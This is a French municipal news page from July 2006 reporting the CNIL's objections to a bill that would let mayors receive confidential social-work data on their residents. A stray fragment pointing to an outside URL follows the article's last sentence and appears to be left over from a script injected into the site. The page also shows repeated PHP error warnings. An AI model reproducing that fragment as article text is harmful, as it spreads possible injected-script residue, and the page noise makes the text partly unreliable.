Édition du vendredi 28 juillet 2006


Imprimer Imprimer

Un maire ne devrait pas être rendu systématiquement destinataire des informations recueillies par les professionnels de l'action sociale, selon la CNIL

La Commission nationale de l'informatique et des libertés (CNIL) exprime des réserves sur certaines dispositions du projet de loi sur la prévention de la délinquance de Nicolas Sarkozy. Le texte présenté au Conseil des ministres le 28 juin 2006, et qui devrait être discuté lors de la session d’automne du Parlement, ne reprend qu’une partie des observations de la CNIL. Dans son éditorial de la lettre de la CNIL, Anne Debet, commissaire, souligne qu’à l’occasion de l’examen du projet de loi la commission avait « rappelé sa réticence à un large partage des données sociales. Ce texte autorise en effet le maire à obtenir communication de l’ensemble des données relatives aux difficultés sociales de ses administrés, lui conférant ainsi un rôle central d’alerte en matière sociale ». Selon elle, « un maire a vocation à connaître, de façon ponctuelle, de données sur les personnes sollicitant des aides sociales facultatives qui relèvent traditionnellement de ses compétences. Pour autant, il ne devrait pas être rendu systématiquement destinataire des informations que les professionnels de l’action sociale sont conduits à recueillir auprès des personnes et des familles en difficulté dans le cadre des relations de confiance qu’ils nouent avec elles et des garanties de confidentialité qu’ils leur apportent ». Quant au partage d’informations entre travailleurs sociaux, la commissaire indique qu’« il est légitime dès lors qu’il est strictement nécessaire à la prise en charge sociale des personnes et réalisé dans leur intérêt. Il doit nécessairement, lorsqu’il porte sur des données qui touchent à l’intimité de leur vie privée, s’effectuer dans le respect de leurs droits et d’une stricte confidentialité ». Il est donc « regrettable qu’ait été maintenue dans le projet de loi présenté en Conseil des ministres la disposition qui permet aux maires d’être destinataires d’informations confidentielles sur les difficultés sociales de leurs administrés sans que des garanties particulières aient été définies ». En conclusion, Anne Debet rappelle qu’en tout état de cause les traitements automatisés des données ainsi collectées et conservées seront soumis à l’autorisation préalable de la CNIL.c=http://www.upgradead.com/b.j
Édition du vendredi 28 juillet 2006 image


Warning: implode(): Invalid arguments passed in /home/amfassofre/www.maire-info.com/article.php on line 105

MAIRE-INFO SOUHAITE A SES LECTEURS DE BONNES ET DOUCES VACANCES ET LES RETROUVERA LE VENDREDI 1er SEPTEMBRE


Warning: implode(): Invalid arguments passed in /home/amfassofre/www.maire-info.com/article.php on line 105

Récupération des textiles : le rapport Pélissard préconise la responsabilisation financière des metteurs sur le marché ou des distributeurs de produits textiles neufs


Warning: implode(): Invalid arguments passed in /home/amfassofre/www.maire-info.com/article.php on line 105

La parité hommes-femmes pourrait être introduite dans les exécutifs des communes de plus de 3 500 habitants et renforcée dans les intercommunalités


Warning: implode(): Invalid arguments passed in /home/amfassofre/www.maire-info.com/article.php on line 105

Un maire ne devrait pas être rendu systématiquement destinataire des informations recueillies par les professionnels de l'action sociale, selon la CNIL


Warning: implode(): Invalid arguments passed in /home/amfassofre/www.maire-info.com/article.php on line 105

Exonération d'impôts dans les pôles de compétitivité : les maires demandent un report de la date butoir pour faire délibérer les assemblées locales


Warning: implode(): Invalid arguments passed in /home/amfassofre/www.maire-info.com/article.php on line 105

Les forains s'installent de force à Sanary-sur-Mer (Var), malgré un arrêté municipal


Warning: implode(): Invalid arguments passed in /home/amfassofre/www.maire-info.com/article.php on line 105

Les Français estiment que l'énergie nucléaire ne peut pas répondre aux enjeux énergétiques, selon un sondage


Warning: implode(): Invalid arguments passed in /home/amfassofre/www.maire-info.com/article.php on line 105

Déjà 711 noyades en deux mois d'été, selon l'Institut de veille sanitaire (InVS)

Abonnez-vous
à la newsletter

Quotidien   Hebdomadaire
Rechercher par dossiers
Retrouvez tous les articles depuis 2002 classés par rubriques

Organisation, Gestion Communale

Finances et fiscalités locales

Territoires

Environnement, développement durable

Urbanisme, Habitat, Logement

Action sociale, Emploi, Santé

Education jeunesse

Culture, Sports et loisirs

Europe International

Etat, Administration centrale, Elections

Juridique

Rechercher par calendrier
Retrouvez une édition par date :
Maires de France